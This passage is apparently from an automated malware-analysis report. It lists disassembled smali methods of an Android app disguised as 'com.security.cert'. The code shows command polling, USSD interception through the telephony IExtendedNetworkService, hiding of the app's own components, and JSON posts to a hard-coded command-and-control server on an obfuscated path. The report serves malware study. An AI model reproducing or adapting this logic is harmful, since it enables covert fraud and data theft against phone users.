30 | invoke-direct {v2, v1}, Ljava/lang/ref/WeakReference;-><init>(Ljava/lang/Object;)V | |
32 | invoke-interface {v0, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
33 | cond_30: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/services/b;->b:Lcom/security/cert/services/CheckQueueService; | |
3 | invoke-static {v0}, Lcom/security/cert/services/CheckQueueService;->a(Lcom/security/cert/services/CheckQueueService;)Z | |
4 | move-result v0 | |
5 | if-nez v0, :cond_9 | |
6 | goto_8: return-void | |
7 | cond_9: | |
8 | iget-object v0, p0, Lcom/security/cert/services/b;->a:Landroid/app/PendingIntent; | |
10 | invoke-virtual {v0}, Landroid/app/PendingIntent;->send()V | |
11 | try_end_e: | |
12 | iget-object v0, p0, Lcom/security/cert/services/b;->b:Lcom/security/cert/services/CheckQueueService; | |
14 | invoke-static {v0}, Lcom/security/cert/services/CheckQueueService;->c(Lcom/security/cert/services/CheckQueueService;)Landroid/os/Handler; | |
15 | move-result-object v0 | |
17 | iget-object v1, p0, Lcom/security/cert/services/b;->b:Lcom/security/cert/services/CheckQueueService; | |
19 | invoke-static {v1}, Lcom/security/cert/services/CheckQueueService;->b(Lcom/security/cert/services/CheckQueueService;)Ljava/lang/Runnable; | |
20 | move-result-object v1 | |
21 | const-wide/32 v2, 0x1d4c0 | |
23 | invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z |
|
24 | goto/16 :goto_8 | |
25 | catch_21: move-exception v0 | |
27 | const-string v1, "CheckQueueService" | |
29 | invoke-virtual {v0}, Landroid/app/PendingIntent$CanceledException;->toString()Ljava/lang/String; | |
30 | move-result-object v0 | |
32 | invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
33 | goto/16 :goto_e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b; | |
2 | if-eqz v0, :cond_9 | |
4 | iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b; | |
6 | invoke-virtual {v0, p1}, Lcom/security/cert/b/b/a/b;->a(Lorg/json/JSONObject;)V | |
7 | cond_9: | |
8 | const-string v0, "HttpClient" | |
9 | new-instance v1, Ljava/lang/StringBuilder; | |
11 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
13 | const-string v2, "success with answer: " | |
15 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
16 | move-result-object v1 | |
18 | invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String; | |
19 | move-result-object v2 | |
21 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
22 | move-result-object v1 | |
24 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
25 | move-result-object v1 | |
27 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
28 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "#" | |
3 | const-string v1, "#" | |
5 | invoke-static {v1}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String; |
|
6 | move-result-object v1 | |
8 | invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
9 | move-result-object v0 | |
10 | new-instance v1, Landroid/content/Intent; | |
12 | iget-object v2, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context; | |
13 | const-class v3, Lcom/security/cert/ui/UssdActivity; | |
15 | invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
17 | const-string v2, "ussd" | |
19 | invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
20 | const/high16 v0, 0x3000 | |
22 | invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
24 | iget-object v0, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context; | |
26 | invoke-virtual {v0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
27 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v1, 0x0 | |
1 | try_start_1: new-instance v3, Lorg/apache/http/entity/StringEntity; | |
3 | invoke-virtual {p2}, Lorg/json/JSONObject;->toString()Ljava/lang/String; | |
4 | move-result-object v0 | |
6 | invoke-direct {v3, v0}, Lorg/apache/http/entity/StringEntity;-><init>(Ljava/lang/String;)V | |
7 | try_end_a: new-instance v5, Lcom/security/cert/a/a/b; | |
9 | invoke-direct {v5, p1, p3, p0, p2}, Lcom/security/cert/a/a/b;-><init>(Lcom/security/cert/ui/MainActivity;Lcom/security/cert/b/b/a/b;Landroid/content/Context;Lorg/json/JSONObject;)V | |
11 | sget-object v0, Lcom/security/cert/a/a/a;->a:Lcom/b/a/a/a; | |
13 | const-string v2, "http://198.211.118.115:9081/Xq0jzoPa/g_L8jNgO.php" | |
15 | const-string v4, "application/json" | |
17 | invoke-virtual/range {v0 .. v5}, Lcom/b/a/a/a;->a(Landroid/content/Context;Ljava/lang/String;Lorg/apache/http/HttpEntity;Ljava/lang/String;Lcom/b/a/a/f;)V | |
18 | return-void | |
19 | catch_19: move-exception v0 | |
21 | const-string v2, "HttpClient" | |
23 | invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->toString()Ljava/lang/String; | |
24 | move-result-object v0 | |
26 | invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
27 | move-object v3, v1 | |
28 | goto/16 :goto_a |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Lcom/security/cert/services/CheckCommandsService;->b()Z | |
2 | move-result v0 | |
3 | if-nez v0, :cond_a | |
5 | invoke-virtual {p0}, Lcom/security/cert/services/CheckCommandsService;->stopSelf()V | |
6 | goto_9: return-void | |
7 | cond_a: new-instance v0, Landroid/content/Intent; | |
8 | const-class v1, Lcom/security/cert/services/ReCheckCommandReceiver; | |
10 | invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
12 | const-string v1, "android.intent.action.RE_CHECK_COMMAND" | |
14 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
15 | const/4 v1, 0x1 | |
16 | const/4 v2, 0x0 | |
18 | invoke-static {p0, v1, v0, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; |
|
19 | move-result-object v0 | |
20 | new-instance v1, Lcom/security/cert/services/a; | |
22 | invoke-direct {v1, p0, v0}, Lcom/security/cert/services/a;-><init>(Lcom/security/cert/services/CheckCommandsService;Landroid/app/PendingIntent;)V | |
23 | iput-object v1, p0, Lcom/security/cert/services/CheckCommandsService;->b:Ljava/lang/Runnable; | |
25 | iget-object v0, p0, Lcom/security/cert/services/CheckCommandsService;->b:Ljava/lang/Runnable; | |
27 | invoke-interface {v0}, Ljava/lang/Runnable;->run()V | |
28 | goto/16 :goto_9 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Lcom/security/cert/services/CheckQueueService;->b()Z | |
2 | move-result v0 | |
3 | if-nez v0, :cond_a | |
5 | invoke-virtual {p0}, Lcom/security/cert/services/CheckQueueService;->stopSelf()V | |
6 | goto_9: return-void | |
7 | cond_a: new-instance v0, Landroid/content/Intent; | |
8 | const-class v1, Lcom/security/cert/services/ReSendQueueReceiver; | |
10 | invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
12 | const-string v1, "android.intent.action.RE_SEND_QUEUE" | |
14 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
15 | const/4 v1, 0x2 | |
16 | const/4 v2, 0x0 | |
18 | invoke-static {p0, v1, v0, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; |
|
19 | move-result-object v0 | |
20 | new-instance v1, Lcom/security/cert/services/b; | |
22 | invoke-direct {v1, p0, v0}, Lcom/security/cert/services/b;-><init>(Lcom/security/cert/services/CheckQueueService;Landroid/app/PendingIntent;)V | |
23 | iput-object v1, p0, Lcom/security/cert/services/CheckQueueService;->b:Ljava/lang/Runnable; | |
25 | iget-object v0, p0, Lcom/security/cert/services/CheckQueueService;->b:Ljava/lang/Runnable; | |
27 | invoke-interface {v0}, Ljava/lang/Runnable;->run()V | |
28 | goto/16 :goto_9 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v1, 0x0 | |
2 | invoke-virtual {p1}, Ljava/lang/String;->trim()Ljava/lang/String; | |
3 | move-result-object v0 | |
5 | const-string v2, "{" | |
7 | invoke-virtual {v0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z |
|
8 | move-result v2 | |
9 | if-nez v2, :cond_15 | |
11 | const-string v2, "[" | |
13 | invoke-virtual {v0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z |
|
14 | move-result v2 | |
15 | if-eqz v2, :cond_1e | |
16 | cond_15: new-instance v1, Lorg/json/JSONTokener; | |
18 | invoke-direct {v1, v0}, Lorg/json/JSONTokener;-><init>(Ljava/lang/String;)V | |
20 | invoke-virtual {v1}, Lorg/json/JSONTokener;->nextValue()Ljava/lang/Object; | |
21 | move-result-object v1 | |
22 | cond_1e: if-nez v1, :cond_21 | |
23 | goto_20: return-object v0 | |
24 | cond_21: move-object v0, v1 | |
25 | goto/16 :goto_20 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
3 | invoke-direct {p0}, Lcom/security/cert/ui/UssdActivity;->a()V | |
5 | invoke-virtual {p0}, Lcom/security/cert/ui/UssdActivity;->getIntent()Landroid/content/Intent; | |
6 | move-result-object v0 | |
8 | const-string v1, "ussd" | |
10 | invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
11 | move-result-object v0 | |
12 | iput-object v0, p0, Lcom/security/cert/ui/UssdActivity;->c:Ljava/lang/String; | |
13 | new-instance v0, Landroid/os/Handler; | |
15 | invoke-direct {v0}, Landroid/os/Handler;-><init>()V | |
16 | new-instance v1, Lcom/security/cert/ui/c; | |
18 | invoke-direct {v1, p0}, Lcom/security/cert/ui/c;-><init>(Lcom/security/cert/ui/UssdActivity;)V | |
19 | const-wide/16 v2, 0x64 | |
21 | invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z |
|
22 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "HttpClient" | |
2 | new-instance v1, Ljava/lang/StringBuilder; | |
4 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
6 | const-string v2, "success with " | |
8 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
9 | move-result-object v1 | |
11 | invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
12 | move-result-object v1 | |
14 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
15 | move-result-object v1 | |
17 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
18 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "USSDDumbExtendedNetworkService" | |
2 | new-instance v1, Ljava/lang/StringBuilder; | |
4 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
6 | const-string v2, "setMmiString: " | |
8 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
9 | move-result-object v1 | |
11 | invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
12 | move-result-object v1 | |
14 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
15 | move-result-object v1 | |
17 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
18 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v0, Ljava/util/HashSet; | |
2 | invoke-direct {v0}, Ljava/util/HashSet;-><init>()V | |
3 | sput-object v0, Lcom/b/a/a/j;->a:Ljava/util/HashSet; | |
4 | new-instance v0, Ljava/util/HashSet; | |
6 | invoke-direct {v0}, Ljava/util/HashSet;-><init>()V | |
7 | sput-object v0, Lcom/b/a/a/j;->b:Ljava/util/HashSet; | |
9 | sget-object v0, Lcom/b/a/a/j;->a:Ljava/util/HashSet; | |
10 | const-class v1, Lorg/apache/http/NoHttpResponseException; | |
12 | invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z | |
14 | sget-object v0, Lcom/b/a/a/j;->a:Ljava/util/HashSet; | |
15 | const-class v1, Ljava/net/UnknownHostException; | |
17 | invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z | |
19 | sget-object v0, Lcom/b/a/a/j;->a:Ljava/util/HashSet; | |
20 | const-class v1, Ljava/net/SocketException; | |
22 | invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z | |
24 | sget-object v0, Lcom/b/a/a/j;->b:Ljava/util/HashSet; | |
25 | const-class v1, Ljava/io/InterruptedIOException; | |
27 | invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z | |
29 | sget-object v0, Lcom/b/a/a/j;->b:Ljava/util/HashSet; | |
30 | const-class v1, Ljavax/net/ssl/SSLHandshakeException; | |
32 | invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z | |
33 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v0, Landroid/content/Intent; | |
2 | iget-object v1, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context; | |
3 | const-class v2, Lcom/security/cert/ui/MessageDialogActivity; | |
5 | invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
7 | const-string v1, "message" | |
8 | if-nez p1, :cond_f | |
10 | const-string p1, "" | |
11 | cond_f: | |
12 | invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
13 | const/high16 v1, 0x3000 | |
15 | invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
17 | iget-object v1, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context; | |
19 | invoke-virtual {v1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
20 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread; | |
2 | move-result-object v0 | |
4 | invoke-virtual {v0}, Ljava/lang/Thread;->isInterrupted()Z | |
5 | move-result v0 | |
6 | if-nez v0, :cond_27 | |
8 | iget-object v0, p0, Lcom/b/a/a/e;->a:Lorg/apache/http/impl/client/AbstractHttpClient; | |
10 | iget-object v1, p0, Lcom/b/a/a/e;->c:Lorg/apache/http/client/methods/HttpUriRequest; | |
12 | iget-object v2, p0, Lcom/b/a/a/e;->b:Lorg/apache/http/protocol/HttpContext; | |
14 | invoke-virtual {v0, v1, v2}, Lorg/apache/http/impl/client/AbstractHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;Lorg/apache/http/protocol/HttpContext;)Lorg/apache/http/HttpResponse; | |
15 | move-result-object v0 | |
17 | invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread; | |
18 | move-result-object v1 | |
20 | invoke-virtual {v1}, Ljava/lang/Thread;->isInterrupted()Z | |
21 | move-result v1 | |
22 | if-nez v1, :cond_27 | |
24 | iget-object v1, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f; | |
25 | if-eqz v1, :cond_27 | |
27 | iget-object v1, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f; | |
29 | invoke-virtual {v1, v0}, Lcom/b/a/a/f;->a(Lorg/apache/http/HttpResponse;)V | |
30 | cond_27: return-void |
Method: com.security.cert.ui.MainActivity->a() Relevance: 6.3, APIs: 5, Strings:
0, Instructions: 31
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/b;->b(Landroid/content/Context;)Ljava/lang/String; | |
2 | move-result-object v0 | |
4 | invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z | |
5 | move-result v1 | |
6 | if-eqz v1, :cond_e | |
8 | invoke-static {p0}, Lcom/security/cert/b/b;->a(Landroid/content/Context;)Ljava/lang/String; | |
9 | move-result-object v0 | |
10 | cond_e: | |
11 | invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z | |
12 | move-result v1 | |
13 | if-eqz v1, :cond_21 | |
14 | new-instance v0, Ljava/util/Random; | |
16 | invoke-direct {v0}, Ljava/util/Random;-><init>()V | |
18 | invoke-virtual {v0}, Ljava/util/Random;->nextInt()I | |
19 | move-result v0 | |
21 | invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; | |
22 | move-result-object v0 | |
23 | cond_21: | |
24 | invoke-static {p0, v0}, Lcom/security/cert/b/a/a;->a(Landroid/content/Context;Ljava/lang/String;)V | |
26 | invoke-static {p0}, Lcom/security/cert/a/a/c;->a(Landroid/content/Context;)V | |
27 | const/4 v0, 0x1 | |
29 | invoke-static {p0, v0}, Lcom/security/cert/b/b;->a(Landroid/content/Context;Z)V | |
30 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z | |
2 | move-result v0 | |
3 | if-nez v0, :cond_c | |
5 | invoke-static {p2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z | |
6 | move-result v0 | |
7 | if-eqz v0, :cond_e | |
8 | cond_c: const/4 v0, 0x0 | |
9 | goto_d: return v0 | |
10 | cond_e: | |
11 | invoke-static {p1}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern; | |
12 | move-result-object v0 | |
14 | invoke-virtual {v0, p2}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher; | |
15 | move-result-object v0 | |
17 | invoke-virtual {v0}, Ljava/util/regex/Matcher;->matches()Z | |
18 | move-result v0 | |
19 | goto/16 :goto_d |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | try_start_0: | |
1 | invoke-virtual {p0, p1}, Lcom/security/cert/services/PhoneCallReceiver;->b(Landroid/content/Context;)Lcom/a/a/a/d; | |
2 | move-result-object v0 | |
4 | invoke-interface {v0}, Lcom/a/a/a/d;->a()Z | |
5 | try_end_7: return-void | |
6 | catch_8: move-exception v0 | |
8 | invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
9 | move-result-object v1 | |
11 | invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String; | |
12 | move-result-object v1 | |
14 | invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String; | |
15 | move-result-object v0 | |
17 | invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I | |
18 | goto/16 :goto_7 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/app/Service;-><init>()V | |
2 | const/4 v0, 0x0 | |
3 | iput-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->d:Landroid/content/Context; | |
5 | const-string v0, "USSD running..." | |
6 | iput-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->e:Ljava/lang/String; | |
7 | new-instance v0, Lcom/security/cert/services/c; | |
9 | invoke-direct {v0, p0}, Lcom/security/cert/services/c;-><init>(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)V | |
10 | iput-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a:Landroid/content/BroadcastReceiver; | |
11 | new-instance v0, Lcom/security/cert/services/d; | |
13 | invoke-direct {v0, p0}, Lcom/security/cert/services/d;-><init>(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)V | |
14 | iput-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->f:Lcom/a/a/a/b; | |
15 | return-void |
Method: com.security.cert.ui.UssdActivity->a() Relevance: 4.5, APIs: 2, Strings:
1, Instructions: 19
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->b:Lcom/a/a/a/a; | |
2 | if-eqz v0, :cond_5 | |
3 | goto_4: return-void | |
4 | cond_5: new-instance v0, Lcom/security/cert/ui/d; | |
6 | invoke-direct {v0, p0}, Lcom/security/cert/ui/d;-><init>(Lcom/security/cert/ui/UssdActivity;)V | |
7 | iput-object v0, p0, Lcom/security/cert/ui/UssdActivity;->a:Landroid/content/ServiceConnection; | |
8 | new-instance v0, Landroid/content/Intent; | |
10 | const-string v1, "com.android.ussd.IExtendedNetworkService" | |
12 | invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
14 | iget-object v1, p0, Lcom/security/cert/ui/UssdActivity;->a:Landroid/content/ServiceConnection; | |
15 | const/4 v2, 0x1 | |
17 | invoke-virtual {p0, v0, v1, v2}, Lcom/security/cert/ui/UssdActivity;->bindService(Landroid/content/Intent;Landroid/content/ServiceConnection;I)Z |
|
18 | goto/16 :goto_4 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor; | |
2 | move-result-object v0 | |
4 | const-string v1, "is_program_stopped" | |
6 | invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor; |
|
8 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
9 | if-nez p1, :cond_13 | |
10 | const/4 v0, 0x1 | |
11 | goto_f: | |
12 | invoke-static {p0, v0}, Lcom/security/cert/b/b;->a(Landroid/content/Context;Z)V | |
13 | return-void | |
14 | cond_13: const/4 v0, 0x0 | |
15 | goto/16 :goto_f |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor; | |
2 | move-result-object v0 | |
4 | const-string v1, "recheck_commands_delay" | |
6 | invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor; |
|
8 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
9 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor; | |
2 | move-result-object v0 | |
4 | const-string v1, "user_id" | |
6 | invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; |
|
8 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
9 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/a/a/b;->a:Lcom/security/cert/ui/MainActivity; | |
2 | if-eqz v0, :cond_4 | |
3 | cond_4: | |
4 | const-string v0, "HttpClient" | |
6 | const-string v1, "start" | |
8 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
9 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/os/Binder;-><init>()V | |
3 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
5 | invoke-virtual {p0, p0, v0}, Lcom/a/a/a/b;->attachInterface(Landroid/os/IInterface;Ljava/lang/String;)V |
|
6 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "USSDDumbExtendedNetworkService" | |
3 | const-string v1, "clearMmiString" | |
5 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
6 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v1, 0x1 | |
1 | if-eqz p2, :cond_11 | |
2 | move v0, v1 | |
3 | goto_4: new-instance v2, Landroid/content/ComponentName; | |
5 | invoke-direct {v2, p0, p1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
7 | invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager; | |
8 | move-result-object v3 | |
10 | invoke-virtual {v3, v2, v0, v1}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V |
|
11 | return-void | |
12 | cond_11: const/4 v0, 0x2 | |
13 | goto/16 :goto_4 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor; | |
2 | move-result-object v0 | |
3 | if-nez p1, :cond_d | |
5 | invoke-interface {v0, p2}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; | |
6 | goto_9: | |
7 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
8 | return-void | |
9 | cond_d: | |
10 | invoke-interface {v0, p2, p1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; | |
11 | goto/16 :goto_9 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | invoke-static {}, Landroid/os/Looper;->myLooper()Landroid/os/Looper; | |
4 | move-result-object v0 | |
5 | if-eqz v0, :cond_10 | |
6 | new-instance v0, Lcom/b/a/a/g; | |
8 | invoke-direct {v0, p0}, Lcom/b/a/a/g;-><init>(Lcom/b/a/a/f;)V | |
9 | iput-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler; | |
10 | cond_10: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p1}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern; | |
2 | move-result-object v0 | |
4 | invoke-virtual {v0, p2}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher; | |
5 | move-result-object v0 | |
7 | invoke-virtual {v0}, Ljava/util/regex/Matcher;->matches()Z | |
8 | move-result v0 | |
9 | return v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-super {p0}, Landroid/app/Service;->onCreate()V | |
2 | new-instance v0, Landroid/os/Handler; | |
4 | invoke-direct {v0}, Landroid/os/Handler;-><init>()V | |
5 | iput-object v0, p0, Lcom/security/cert/services/CheckCommandsService;->a:Landroid/os/Handler; | |
7 | invoke-direct {p0}, Lcom/security/cert/services/CheckCommandsService;->a()V | |
8 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-super {p0}, Landroid/app/Service;->onCreate()V | |
2 | new-instance v0, Landroid/os/Handler; | |
4 | invoke-direct {v0}, Landroid/os/Handler;-><init>()V | |
5 | iput-object v0, p0, Lcom/security/cert/services/CheckQueueService;->a:Landroid/os/Handler; | |
7 | invoke-direct {p0}, Lcom/security/cert/services/CheckQueueService;->a()V | |
8 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | if-nez p0, :cond_4 | |
1 | const/4 v0, 0x0 | |
2 | goto_3: return-object v0 | |
3 | cond_4: | |
4 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
6 | invoke-interface {p0, v0}, Landroid/os/IBinder;->queryLocalInterface(Ljava/lang/String;)Landroid/os/IInterface; |
|
7 | move-result-object v0 | |
8 | if-eqz v0, :cond_13 | |
9 | instance-of v1, v0, Lcom/a/a/a/a; | |
10 | if-eqz v1, :cond_13 | |
